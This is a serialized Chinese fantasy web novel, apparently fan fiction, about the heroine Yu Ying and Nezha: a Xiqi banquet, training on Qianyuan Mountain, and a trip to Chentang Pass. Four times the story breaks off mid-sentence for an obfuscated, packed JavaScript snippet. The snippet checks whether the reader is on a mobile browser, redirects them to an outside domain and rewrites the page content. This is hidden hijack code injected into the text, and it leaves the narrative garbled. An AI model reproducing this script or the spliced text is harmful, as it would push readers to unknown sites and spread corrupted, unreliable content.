《死遁后和哪吒掀了天庭》 1. 西岐 西岐的庆功宴灯火通明,酒香混着烤肉的气息在营帐间流淌。舞姬们踏着编钟的节奏旋转,水袖翻飞如彩云追月。 与应机械地跟着其他舞女的动作,冷汗却已经浸透了后背的轻纱。 她不明白自己为何会在这里。甚至掌心还在因剑的嗡鸣而微微颤动。 记忆的最后片段是剑锋刺穿天幕,然后是漫长的黑暗,再睁眼时,她已身着舞裙,站在西岐军营的篝火旁。 更可怕的是,她发不出任何声音,喉咙仿佛被什么无形之物堵住,每次试图说话都只能吐出微弱的气音。 与应借着转身的动作环顾四周,这是西岐军营的庆功宴,将领们推杯换盏,觥筹交错间谈论着最近大败朝歌军队的胜绩。 那时候西岐才刚刚起兵啊,现在是什么时候? “这舞姬素质不行啊。”一个醉醺醺的将领点评道,“中间那个同手同脚的,朝歌就这水平?” 与应低头一看,自己还真把左右手同步了,她急忙调整,结果左脚绊右脚,直接给全场来了个五体投地大礼。 宴席爆发出一阵哄笑。 就在这时,编钟声戛然而止,与应揉着摔疼的鼻子抬头,正对上一双燃着暗火的眼。 酒席上,那位杀伐果决的先行官缓缓站起。他身着玄色战袍,朱砂在火光中如凝滞的血,几年未见,少年轮廓更加锋利,眉宇间沉淀着与应陌生的戾气。 哪吒的目光死死锁在她身上。 与应急忙比划手势,想告诉他自己的遭遇,可她刚抬起手,腕间便是一紧,混天绫不知何时已经缠了上来,将她双手缚在身前。 “我要她。” 哪吒的声音不大,却让整个宴席瞬间安静,将领们面面相觑,舞姬们惊恐退开,只留与应一人趴在地上,活像只被翻了壳的乌龟。 好尴尬…… 西岐少主姬发笑着打圆场:“将军好眼光,这是前日从朝歌俘获的舞姬,既然将军喜欢……” “她不是舞姬。”哪吒打断道,一步步走下席位,战靴踏在地上的声响让她心跳加速,“她是我的人。” 与应福至心灵——这不就是她看的话本里经典桥段吗?按照套路,接下来她该被霸道师兄扛回营帐这样那样。 不好!刚才转圈太多,好想…… “呕——” 在全场震惊的目光中,与应当场表演了个干呕。 哪吒的脚步顿住了。 “威武啊!”黄天化突然拍桌大笑,“这姑娘用行动表达了对你的……呃,独特欣赏?” 与应疯狂摇头,指着自己的喉咙示意不能说话,又拼命比划剑诀手势。 可惜她手忙脚乱的样子活像只抽风的螃蟹,反倒把哪吒气得额角青筋直跳。 “两年。”哪吒一把将她拎起来,捏住下巴强迫她抬头,“你终于舍得回来了?” 与应急中生智,踮起脚,一巴掌拍在哪吒脑门上。 全场倒吸一口冷气。 哪吒愣住了,与应趁机挣脱,从腰间摸出块玉简,刷刷写下一行大字举过头顶: 【我没死!我失声了!有人害我!】 哪吒的表情凝固了。 就在这尴尬时刻,与应突然感觉后颈一凉,某种诡异力量控制着她的身体,竟抓起案几上的烤全羊朝哪吒脸上糊去。 “保护先行官!” 宴席大乱,与应惊恐地看着自己不受控制地跳上桌子,抄起酒壶往领口倒酒,然后开始跳大神似的疯狂乱舞?! “妖女!绝对是妖女!”姜子牙的胡子都翘了起来。 哪吒抹了把脸上的羊油,笑了。 “有意思。”少年舔掉唇边酱汁,“看来师妹需要……特别教育。” 与应扭头就跑,结果被自己过长的水袖绊倒,咕噜噜滚到杨戬脚边,她急中生智,一把抱住杨戬的大腿,举起玉简: 【救我!哪吒疯了!】 杨戬叹气:“你有没有想过找我他会更生气?” 哪吒果然炸毛:“松手。” 与应不但没松,还往杨戬身后缩了缩。 下一秒,红光闪过,与应只觉天旋地转,再睁眼已被哪吒扛在肩上。 少年掌心贴着她后腰,声音温柔得可怕:“小师妹啊,不是答应过我不看他吗?” 与应浑身一僵——确有此事啊!当时哪吒为了惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647606|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚她,还强行让自己喂他樱桃吃! “杨师兄的三尖两刃刀,”哪吒在她耳边轻声道,“好摸吗?” 与应:……完了。 帐帘落下瞬间,与应一个翻身,从哪吒肩上滚下来,二话不说掐诀施法:“金光遁地术!” 这是太乙亲传的保命绝学,理论上能让人瞬间土遁百里。 可惜与应她身体灵力不稳,往生绫也不在,只听“噗”的一声—— 她卡在了地里,只剩个脑袋露在外面。 哪吒蹲下来,戳了戳她发髻上的珠花:“师妹,看来你挺喜欢萝卜啊?” 与应气得想咬人,奈何够不着,她只能疯狂眨眼示意,结果眼皮抽筋了。 “别急。”哪吒敛了笑意,指尖抚上她喉咙处的诡异咒文,“我知道不是你本意……刚才的舞蹈,是有人在操控你。” 与应瞪大眼睛。 少年将军从怀中取出一物——正是两年前与应送他的红云发带,如今已被血渍浸透。 “这两年我翻遍陈塘关,掀了东海龙宫,”他声音低哑,“每次找到线索,都会被人提前切断。师父他……” 帐外传来急促脚步声:“将军!姜丞相请您立即去主帐,说是抓到了朝歌的探子!” 他迅速画了道符咒拍在地上,与应顿时觉得卡住自己的泥土变软了。 “等我回来。”他扯过披风盖住与应脑袋,语气又恢复威胁,“敢跑就打断腿。” 与应听着脚步声远去,刚想挣扎,突然颈间咒文一阵灼痛,陌生的声音在脑海响起:【杀了他】 她不受控制地挣出地面,摸到案几上的匕首,就在这时,帐帘无风自动,一股阴冷的,黏腻的视线朝她投来—— 红衣金镯的孩童歪着头,眉心一道竖痕如血,他轻轻一勾手指,与应手中的匕首就被混天绫卷走。 “姐姐怕我呀?”他笑时眼尾上挑,天真里淬着毒,像是幼兽戏耍猎物,既残忍,又欢愉,“真好玩,我们再玩会儿吧?” 谁能告诉她这个世界到底怎么了?!为什么会有两个哪吒?!这不对吧?! 在金圈被套在脖子上的最后一刻,她如此想到。 2. 藕,花,珠子 “凭什么?!我不服!” 一道身影立于山巅,如雪松般不容撼动分毫,剑指苍穹,一字一句,皆如泣血。 “我……绝不受制于天。” 鲜血喷洒。 与应站在池畔盯着水面,指尖悬停,梦中的场景还历历在目。 “看够了吗?” 清亮的少年音突然从身后传来,惊碎了池面的平静,与应猛地转身,往生绫已然出手,却在看清来人时硬生生停在半空。 少年生得极好,眉如墨画,眼尾微挑,唇若涂朱,偏生眼底燃着金焰,生生将那几分秀美压成凌厉的艳色。 她目光移到对方颈上悬着的乾坤圈上,想来这就是传闻中闹海屠龙的三太子。 他斜倚在一旁的巨石边,火尖枪随意地搭在肩头,嘴角噙笑,眼底却一片冷然。 “师父叫我来接人。”他懒懒道,“没想到是个连水都怕的胆小鬼。” “师父呢?” “忙着给你准备见面礼。”哪吒忽然凑近,鼻尖几乎贴上她的颈侧,“你这里面封了东西?” “放开。” “脾气倒不小。”哪吒轻笑,伸手扣住她脖颈,“让师兄看看——” 话音戛然而止,手下的皮肤下隐约有黑雾流动,哪吒眯起眼,指腹擦过那道若隐若现的金色咒印。 “果然。”他嗤笑,“师父又捡了个麻烦回来。” “去寒潭。”哪吒转身,混天绫在身后划出一道血线,“你身上那东西需要冷静一下。” “不必。” “由不得你。”哪吒突然回身,火尖枪横扫,枪风卷起池水,“要么自己走,要么——” “打晕了拖过去。” 少女清浅的眸子眯起,这可真是,丝毫都不给她拒绝的权利,她又恢复面上笑意,缓声道:“明白了,我去就是了。” 少年上下打量她,显然不信。 果然在下一瞬,雪白绫带飞出直朝他面门袭来,却被闪过的红影截住,红白绫带在空中纠缠数圈,最终打成死结轻飘飘落到水中。 哪吒看着水中纠缠的红白绫带,轻笑出声:“师妹这见面礼,倒是别致。” 与应冷着脸,指尖一勾,往生绫却纹丝不动,两条绫带如不死不休的蛇般,纠缠着在池水中缓缓下沉。 是了,本就同根同源,怎会伤到另一方? 哪吒俯身捞起水中纠缠的红白绫带,指尖轻抚过那处死结,心想:这一红一白,跟喜丧似的,叫什么来着? 烛火下的妇人轻轻抚摸孩童的头,呼吸压低声音:“喜事撞丧事,叫红白双煞呀。” 妇人摆出恶狠狠的脸,绘声绘色讲着故事,但总之他没有被吓到就是了,反而还兴致勃勃的挥舞混天绫,说要将那花轿上的新娘子跟棺材里的尸体调个个儿。 与应却想到的是另一层面,太乙真人赐绫时曾意味深长道:“此物与你有缘,亦与他人有旧。” 确实有缘。孽缘。 她抬脚轻轻靠近,正想从背后捅穿他时,鼻尖却萦绕着一股清甜。 她顺着香气发散的地方寻去,眸子随意扫了扫,少年沾着水珠的收手背上不知何时划开一道口子,簌簌落着花瓣。 偏偏他本人还不知情,用力扯了扯两条绫子,花瓣都撒进池子了也不在意,见有道一直盯着自己的视线,少年轻轻掀起眼皮,将那目光瞪了回去。 与应若无其事移开视线。 他看起来很好吃。她在心里想着。 · 练武场。 哪吒懒散地抛着绣球玩,混天绫松松垮垮地搭在肩上,眉稍随意耷拉着,浑身散着没睡醒的气息。 “先说好,”他打了个哈欠,将绣球抛出场外,“待会打哭了可别怪我。” 与应没说话,微微抬了抬手指,往生绫飞出,直取哪吒咽喉,他眼睛一亮,火尖枪横挡,枪身与白绫相撞。 他借力后跃,混天绫翻涌,瞬间在周身形成屏障。 “偷袭?小师妹,不厚道啊。” 与应唇角微勾:“师兄教得好。” 话音未落,她已闪身逼近,指尖凝聚出寒芒,直刺哪吒心口,他侧身避让,却见那道寒芒突然转向,往生绫缠上他的脚踝,猛地一扯,哪吒调整姿势落在地上,激起一片尘土。 场边观战的太乙真人挑了挑眉,端起茶盏抿了一口。 烟尘散去,哪吒却不见了踪影,与应警觉地环顾四周,头顶传来破空声,她急退数步,枪尖深深插入地面,震裂数块青石。 “躲得挺快。那这样呢!” 哪吒的声音从四面八方传来,混天绫分化出数十道红影,将整个演武场笼罩其中。 红影如网压下,已是避无可避,她闭了闭眼,将往生绫往地上一拍,白绫上的金纹亮起,化作无数细密符文悬浮空中,将红影尽数挡住。 多年前,太乙真人在某处山巅取得暮云,织就双绫,一个融了寒酥,一个引了金乌。 一曰往生,镇魂安魄,主超度。 一曰混天,翻天覆地,主护身。 太乙真人看着场中交织的红白双绫,忽觉得有些无奈,摇头轻叹道:“好好的护身法器,硬是被用成了索命凶器。” 哪吒拉开和少女的距离,满不在乎地转着火尖枪:“师父,法器不就是拿来用的?” 太乙真人拂尘轻扫,混天绫不受控制地飞回他手中,与应低头看向自己的往生绫,白绫边缘的金纹流转间隐约可见血色暗痕。 她似乎,还从未用这绫子超度过呢。 “发什么呆?你也强不到哪去。”哪吒突然凑近,发丝轻轻掠过她脸颊,带来一阵莲花香,“往生绫本该是最温和的法器,你倒好,把它使得比刀还利。” 这位师兄果真是生了副好皮囊,眉目如画,唇红齿白,一双桃花眼顾盼生辉,偏又带着几分桀骜不驯的少年意气。 他凑得极近,呼吸间带着淡淡的莲香,睫毛在眼下投出一小片阴影,衬得肌肤如玉般通透。 太近了,太香了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647607|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哪吒,”心里这么想着,但她却用指尖抵住哪吒心口,声音轻得只有他能听见,“再近一寸,我就让你尝尝往生绫真正的用法。” “哦?是索命,还是……”他唇角擒着笑意,握住她手腕,带着她的手按向自己左胸,“往生?” 狂傲至极,自负,是她给他的初次印象,但……她微微嗅着少年发间的莲香,心想:偏偏又好看又香。 半晌,他放开手,发尾在空中荡开一道弧线,抬手收回落在场外的绣球,满不在意道:“可惜,这副身体早已没了魂魄。” 没了香气,她这才回过神来,转眼的功夫,少年已走出大半距离。 “没了魂魄?”她轻声重复,“那站在我面前的是谁?” 哪吒背对着她,绣球在掌心抛出一道弧线:“藕,花,珠子。” 总归不是活生生的人。 与应朝他走去,赶在他回头之前一把扯住那垂落的马尾,发丝在晨光中泛着绸缎般的光泽,摸起来又软又滑。 “嘶……”哪吒下意识回头,不料她抓得更紧,头皮一痛,“松手!” “会疼的,”与应非但不放,反而凑得更近,鼻尖几乎贴上他的,“怎会是死物?” 她面相娇俏纯善,眼尾如狸儿般微微上挑,瞳色浅淡,额间那道嫣红细长的钿纹如一滴将落未落的血珠。 此刻那双眸子里正定定凝着他,如同照见一泓清潭。 他移开视线后退一步,发丝从她指间滑落,故作镇定道:“你倒是比我想的有意思。” 绣球被粗暴地塞进与应手中,还带着少年掌心的温度。 “辰时,”哪吒头也不回地摆摆手,“别迟到。” · 傍晚。 与应沐浴完出来,案几上的绣球在月光的照射下金线流转,映得满室生辉,她伸手戳了戳,绣球咕噜噜滚到墙边,撞出一道细微的声响。 隔壁—— 哪吒躺在池中央的莲花座上,指尖摩挲着发梢,一道红影破空而来,险些砸中他眉心。 他抬手接住,正是白日给出去的绣球,墙头传来窸窣声响,清凌凌的声音从那里传来:“还你的!” 哪吒抬眼,与应趴在两人洞府之间的矮墙上,她换了身素白寝衣,发梢还滴着水,显然刚沐浴完。 他刚要开口,墙头的身影却已翩然消失,月光下只剩几滴水珠从墙头滴落,落在莲池中荡开细小的涟漪。 与应回到内室,指尖轻轻拂过搁在枕边的白绫,吹灭烛火后闭眼躺在榻上,隔壁莲池的水声隐约传来,混着少年若有若无的叹息。 绣球已经还回去了。可掌心似乎还残留着那抹温度。 她想起白日里触碰到的那个空荡荡的胸膛,想起他说“这副身体早已没了魂魄”时的神情。 可他的身体,眼睛,分明是暖的。 窗外,一轮明月高悬,月光透过窗,直直洒在少女眉心的钿纹上。 外面,原本夜色沉沉的天幕破碎一瞬,又瞬间恢复原样。 3. 师兄你好香 仙人无垢,多有辟谷,且无需食五谷杂粮,山中除了些果子便是各种精怪了。 有法规:弟子不得食已有灵智的生灵。 太乙真人重新为她加固了咒文,危机情况下往生绫会自行发动抑制她的怨气。 与应的洞府位于东南方,隔壁便是哪吒的洞府,有时夜里能听见他练枪练剑的声音。 但现在不是想这些的时候。重点是,她要饿死了! 与应捂着肚子,面无表情的坐在洞府门口的石阶上,她已经很久没吃东西了。 与应叹了口气,抬头望向隔壁洞府,哪吒那家伙,莲藕做的身子,泡点水就能活蹦乱跳,根本不懂普通人的痛苦。 “咕——” 肚子又叫了一声,与应站起身,决定去后山碰碰运气。 · 后山雾气缭绕,仙草灵植遍地,每一样都散发着“你敢吃我我就哭给你看”的气息。 她蹲在一株胖乎乎的人参前,和它大眼瞪小眼。 人参:“……” 与应:“……” 人参突然抖了抖须子,奶声奶气道:“姐姐,我不好吃,我刚学会走路,肉是酸的!” 与应:“……” 她默默收回手,叹了口气。 那些长了腿会跑的人参娃娃、会说话的灵芝精、甚至还有会唱歌的仙桃,全都眨巴着大眼睛,一脸天真地问她:“姐姐,你要吃我吗?” 这谁下得去嘴? 就在与应绝望之际,身后忽然传来一阵窸窸窣窣的声响,她警觉回头,只见灌木丛中钻出只圆滚滚滚的兔子,嘴里还叼着根萝卜。 兔子看到她,红眼睛眨了眨,竟不害怕,反而蹦蹦跳跳凑近,把萝卜往她脚边一放,但她先看到的不是胡萝卜,而是毛绒绒的兔耳朵。 毛绒绒…… 与应又盯着那根萝卜,萝卜安安静静躺在地上,没有长腿,也不会说话。 她捡起来,轻轻咬了一块,萝卜清甜的汁水在口腔里蔓延,她眼睛微微睁大,又咬了一口。 兔子蹲坐在一旁,耳朵抖了抖,忽然口吐人言:“慢点吃,别噎着。” “噗——” 与应一口萝卜渣喷了出来,差点给自己送走。 兔子歪头:“怎么了?” 与应低头看了看手里的半截萝卜,又看了看兔子:“你……会说话?” “当然啦。”兔子骄傲地挺起胸脯,耳朵也随动作立起来,“我可是修炼百年的兔子精!和广寒宫的玉兔还是朋友呢!” 与应手一抖,剩下的萝卜掉在地上。 兔子顿时急了:“哎哎哎别浪费啊!这可是从月宫来的仙种萝卜,我好不容易才种活这一根!” 与应盯着它:“所以……这萝卜也算有灵智?” 兔子理直气壮:“那当然!它虽然不会说话,但会听我讲故事!” 与应:“……” 她缓缓站起身,拍了拍裙摆上的草屑,转身就走。 “诶?你怎么不吃了?”兔子在后面喊,“你不饿了吗?” 与应头也不回:“突然觉得饿死也挺好的。” 兔子急得直跺脚:“你这人怎么这样!饿死有什么好的!” 与应脚步一顿。 兔子趁机蹦到她面前:“我知道你在找什么,不会说话的,没开灵智的食物,对吧?” 与应眯起眼睛。 兔子神秘兮兮的压低声音:“后山悬崖下面有个寒潭,潭里有种银鱼,天生痴傻,修炼千年都开不了灵智……” 一刻钟后,与应蹲在寒潭边,看着水里游来游去的傻鱼。 这些鱼通体银白,眼睛大且无神,甚至有几条撞在石头上都不知道转弯。 这种蠢鱼吃了真的不会降智吗?她有些担心自己真的降智后和哪吒斗嘴会不会说不过他。 但是,她真的要饿死了。 她伸手一捞—— 一条肥美的银鱼在她掌心扑腾,鱼嘴一张一合,吐出几串泡泡。 泡泡飘到空中,组成两个字: “饿吗?” 与应:“……” 她默默把鱼放了回去。 都是会说话的,有灵智的,这里最近的村镇至少也要一天的路程,更别说她还不会腾云,用腿走到早就饿死了。 她放弃了。 以至于到达练武场的时候,她脚步虚浮,眼前已是模糊不堪,头发披散着,本能的朝那抹散发香气的红影走去。 “这家伙怎么回事,睡过头了?”哪吒用手颠着绣球玩,发现还没见到她有些疑惑。 背后传来脚步声,他下意识回过头,只见披头散发的白衣女子摇摇晃晃朝他走来。 “哪来的女鬼!乾元山都敢擅闯!” 藕,好香。 哪吒刚举起火尖枪,那“女鬼”突然一个踉跄扑了过来—— 他有种不祥的预感。 与应一口咬在哪吒手腕上。 “你属狗的!” 她死死咬住不松口,喉咙里发出小兽般的呜咽。 “松口!我不是吃的!” “师父!救命啊!吃人啦!” 太乙真人拂尘一挥,往生绫立刻缠上与应的腰,将她拽开。 与应被悬在半空,还不死心地朝哪吒伸手:“藕……” 被她咬过的地方落下几片莲花花瓣。 哪吒捂住飘着花瓣的手腕:“你居然真下得去嘴?!” 与应被往生绫吊在半空,脸上还沾着几片花瓣,她舔了舔嘴角,意犹未尽:“甜的……” “师父!”哪吒跳脚,“您看她!” 太乙真人捋着胡子,笑道:“丫头,饿极了?” 与应点点头,眸子直勾勾盯着哪吒的手腕,哪吒立刻把手藏到背后:“想都别想!” “好了。”太乙真人拂尘一挥,与应轻飘飘落地,“哪吒,去取为师的玉露来。” 哪吒不情不愿往外走,路过与应时还特地绕了个大圈。 练武场安静下来。 与应低头看着自己沾满莲香的手指,鬼使神差地舔了一下。清甜沁脾,还带着阳光晒过莲塘的温暖气息。 太乙真人忽然问:“好吃吗?” 与应僵住。 “那孩子是莲花化身,”太乙真人意味深长的说,“又是灵珠子转世,自然香甜。” 与应耳尖发烫:“……弟子知错。” “无妨。”太乙真人变戏法似的掏出一碟糕点,“先垫垫肚子。” 与应这次学乖了:“这个……会说话吗?” 太乙真人笑着摇头。 她这才放心咬下去,绵密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647608|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜香在口中化开,饿了几天的胃终于得到抚慰。 哪吒端着玉露回来时,就看到小师妹大口大口啃着糕点,秀美的眉头皱紧,这吃相怎么回事?谁虐待她了? “喏。”他把玉盏往案几上一放,“喝吧,管饱。” 与应嗅了嗅。 这不就是水吗? “清晨收集的露水!”哪吒没好气地说,“你要连露水都嫌弃,干脆啃我得了!” 与应眼睛一亮。 哪吒立刻后退三步:“我开玩笑的!” 玉露入喉,清冽甘甜。 哪吒抱臂站在一旁,忽觉手腕上的牙印隐隐发烫,无数细小的花瓣争先恐后从那里涌出,似乎闻到了藕花的味道,他看见正在喝水的人略微停顿一下,而后眼珠轻转。 “师父,”他凑到太乙真人耳边,“您看她喝水的样子,像不像……” “像什么?” 哪吒压低声音:“像在考虑从哪儿下口比较香。” 太乙真人忍笑,拂尘轻敲他的头:“胡闹。” 与应喝完玉露,脸上终于有了血色,她放下玉盏,目光不自觉地又飘向哪吒,确切地说,是飘向他手腕上渗着莲香的伤口。 哪吒立刻把手藏到身后:“还看?!” 与应别过脸,耳尖微红:“……没看。” 太乙真人适时解围:“丫头,往后每月初七,仙鹤会送凡间食材上山。” 哪吒突然想到什么,眼睛一亮:“师父!不如我去山下……” “想都别想。”太乙真人打断他,“上次你回陈塘关,差点把李靖的府邸拆了。” 哪吒撇嘴:“那是他先动手的。” 与应忽然开口:“我能去吗?” 太乙真人看着眼前两双亮晶晶的眼睛,一红一白两个徒弟都眼巴巴地望着他,不由得叹了口气。 “你……”太乙真人刚要开口,哪吒就迫不及待地跳起来。 “我去我去!我和她去!”他一把拽住与应的袖子,“保证看好小师妹,绝不惹事!” 与应被他拽得踉跄了一下,却难得没有甩开他的手,只是抿着嘴,眼巴巴地望着太乙真人。 同门师兄弟还说他收的尽是掏心掏肺,剥皮抽筋的狠人,可太乙真人定眼一瞧,两小孩目光澄澈,哪里是什么小煞星?分明是两个苦命的好孩子,叫人看了就心生怜爱。 他捋了捋胡子,目光中透着慈祥。 “罢了。” “多谢师父!”哪吒欢呼一声,也不管两人先前的冲突,拉起与应就跑,“小师妹,我带你去吃陈塘关最好吃的糖葫芦!” 与应被他拽着往前跑,脚步还有些虚浮,哪吒回头看她,想起什么似的停下脚步:“等等,你能驾云吗?” 她摇摇头,不仅不会,还恐高呢。 “那……”哪吒眼珠一转,“我背你?” 与应后退一步:“不必。” “那怎么行!走到陈塘关天都黑了!”哪吒不由分说地蹲下身,侧头看她,“上来!” 与应还想拒绝,哪吒已经一把将她背起,少年清瘦有力的臂膀稳稳托住她,莲花的清香萦绕在鼻尖。 “抓稳了!” 哪吒脚下风火轮显现,与应下意识环住他的脖子。 “走咯!”哪吒一声清喝,两人腾空而起。 4. 传闻中的三太子 云端之上,与应紧紧抓着哪吒的肩膀。 风从耳边呼啸而过,她低头看去,乾元山的云雾在脚下缭绕,脚下空荡荡的,只有翻滚的云海,随时都会坠入万丈深渊。 “怕高?”哪吒的声音带着笑意,随着风声飘进她耳中。 话音未落,少年掐诀加速,风火轮在空中划出赤红弧线。 与应倒吸一口凉气,整个人几乎贴在哪吒背上,她能感觉到少年人结实的背部因发笑而微微震动。 “别闹了!” 这声呵斥出口却成了软调,自己听着都耳热。 他侧过头,红绸随风飘扬,扫过与应的脸颊,带着淡淡的莲花香气。 “真怕啊?”他声音里多了几分认真,“那我慢点。” 速度果然降了下来,变得平稳许多,与应这才敢稍稍放松紧绷的身体,双手却牢牢环着他脖子。 “你看那边——”哪吒指向远方。 与应顺着哪吒手指的方向望去,初升的朝阳将云海染成金色,层层叠叠的云浪翻滚着向天际延伸。 哪吒的视线却落在与应睫毛投下的阴影上,她睫毛上还沾着朝露,正随呼吸轻颤。 他仓促别过脸:“快到了,前面就是陈塘关。” 与应点点头,忽然意识到自己的姿势过于亲密,连忙松开环着哪吒脖子的手,但下一瞬,风火轮一个颠簸,她又不得不重新抱紧。 “抓紧点,”哪吒反手托了托她的腿,“掉下去我可不管。” 与应犹豫了一下,重新环住他的肩膀,隔着薄薄的衣料,她能感受到少年结实的肌肉和温热的体温。 奇怪的是,这次她闻到的不是莲花的清香,而是一种更温暖的气息,像是火烧过木头的味道,让人莫名安心。 “到了!”哪吒一个俯冲,稳稳落在陈塘关城门外。 与应从他背上跳下来,脚步还有些不稳,哪吒顺手扶住她的肩膀:“慢点,饿死鬼投胎似的。” 城门口,几个小贩正在支摊子,各种饭菜气息飘来,与应的肚子不争气地“咕”了一声。 我的老天啊,终于能吃到好吃的了! 她收回脚步,有些迟疑:“没钱。” 哪吒挑起一边眉:“求我。” 与应侧头看他,他鲜红的唇正勾着,抱臂而立,低垂的马尾随意搭在身后,整个人都散发着恣意潇洒的少年气息。 谁会跟吃的计较? 于是她乖巧道:“师兄,好师兄,求求你。” 哪吒歪头看她。 她说这种话的时候也是面无表情,半点没有求人的意思,他凑近了些,直到那双浅色的眸子里映出自己的眼睛。 牙尖嘴利,偏偏长了这样的一张脸,让人生不起气,他移开视线后退几步:“行了,我有办法。” 哪吒拽着与应直奔城门,守城的士兵一见那标志性的红绫与乾坤圈,立刻站得笔直:“三、三公子回来了?” 哪吒一把拽过与应手腕冲进城门,红绫飞舞:“借过借过!” 与应被他拉着穿过城门,扑面而来的烟火气让她一时恍惚,街道两旁摊贩吆喝声,还有蒸笼里冒出的热腾腾白气,油锅里炸物的滋滋声。 “老板!”哪吒停在一个包子铺前,“来两笼肉包!” 胖乎乎老板抬头一看,手里的擀面杖差点掉地上:“哎呦!三公子!您可算……” 哪吒赶紧比了个噤声的手势:“低调,低调。” 热腾腾的包子很快端上来,皮薄得能看见里面晃动的汤汁,与应盯着包子看了半晌,伸手戳了戳。 “烫!”哪吒急忙抓住她的手指,“要先吹吹!” 他示范性地拿起一个包子,轻轻咬破皮,吸掉汤汁:“看到没?要这样……” 与应学着他的样子咬了一口,滚烫的肉汁在口中爆开,烫得她眼眶发红,却舍不得吐出来。 “哎呦我忘了我是藕感觉不到烫的!”哪吒手忙脚乱地给她递凉茶,“喝这个!” 与应含着满口鲜香,眼睛有些发酸,似乎很久很久以前,也有人这样教她吃过包子,面容在脑海中转瞬即逝,丝毫记不起来。 哪吒见她发呆,以为还烫着,夺过包子仔细吹凉:“啊——” 与应愣愣地看着递到嘴边的包子。 “张嘴啊!”哪吒耳尖发红,“不然我自己吃了!” 她凑过去,就着哪吒的手咬了一口,这次温度刚好,肉馅混着葱香在舌尖化开,咸香咸香的。 “好吃吗?”哪吒眼睛亮晶晶的。 与应点点头,嘴角沾了一点油花,哪吒伸手,用拇指替她擦去,动作太过自然,他自己都愣了愣,少女却毫不在意,只专心吃着包子。 “吒儿!” 一声温柔的呼唤突然从身后传来,与应探出头去。 她疾步走来时,与应注意到她绣鞋前端微湿,想必是听闻哪吒归来,连晨露沾湿裙角都顾不得拂拭。 妇人约莫三十来岁,眉眼间与哪吒有七分相似,发髻上只简单簪着几支玉钗,却衬得整个人温婉端庄,她提着裙摆小跑过来,眼中闪着泪光。 “……” 哪吒站起身。 殷素知一把抓住哪吒的手,上下打量着:“又长高了!在乾元山可好?道长待你如何?”她的目光突然落在与应身上,“这位是……” 与应慌忙站起来,不小心碰翻了茶碗。 “我们还要回山复命。” 哪吒突然横插进来,声音冷硬。 殷素知指尖一颤,却仍保持着得体的微笑,周围行人依旧如常往来,似乎对这一幕毫不意外,她指尖一颤,却仍保持着得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647609|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体的微笑:“至少……至少回去看看吧。” “回去?我的家在乾元山,在金光洞,在师父那里。” 周围的喧嚣似乎在这一刻静止了。 与应看见她袖中的手微微发抖,但她只是轻轻整理了一下哪吒有些歪斜的衣领。 “这位姑娘看起来饿了,不如……” “不必了。”哪吒拽起与应的手腕,转身就走,“师父还等着。” 与应踉跄着跟上,回头望见殷素知仍站在原地,晨光将她的影子拉得很长,孤单地投在青石板路上。 奇怪,为何她的心里会这般……酸涩又鼓胀? “等等……” 与应挣了挣手腕,哪吒反而握得更紧,脚步更快。 他们穿过熙攘的早市,拐进一条小巷,巷子尽头有棵槐树,树冠如云,投下大片阴凉,他突然停下,与应猝不及防撞上他后背。 “你……”与应刚要开口,却见哪吒一拳砸在树干上,槐花簌簌落下,有几朵沾在他颤抖的肩头。 与应站在他身后,阳光透过树叶间隙,在地上投下斑驳的光影,一只麻雀落在枝头,歪头看着他们。 过了许久,哪吒转过身,脸上已恢复往日神色:“走,带你去吃更好的!” 他故作轻松地笑着,眼角却有些发红,与应犹豫片刻,从袖中掏出一方素帕递过去。 “做什么?”他不明所以,却还是接了。 “槐花,”与应指了指他的发梢,“沾上了。” 哪吒胡乱抹了把头发,转身大步走出巷子,与应小跑着跟上,在巷口差点撞上一个挑担的老汉。 “小心!”哪吒一把将她拉到身侧。 担子里新鲜的莲藕滚落在地,沾了尘土,老汉刚要发怒,抬头看清哪吒面容后却愣住了:“少、少爷?” 哪吒蹲下身,默默将莲藕捡回担中,他动作格外轻柔,与平日张扬的样子判若两人。 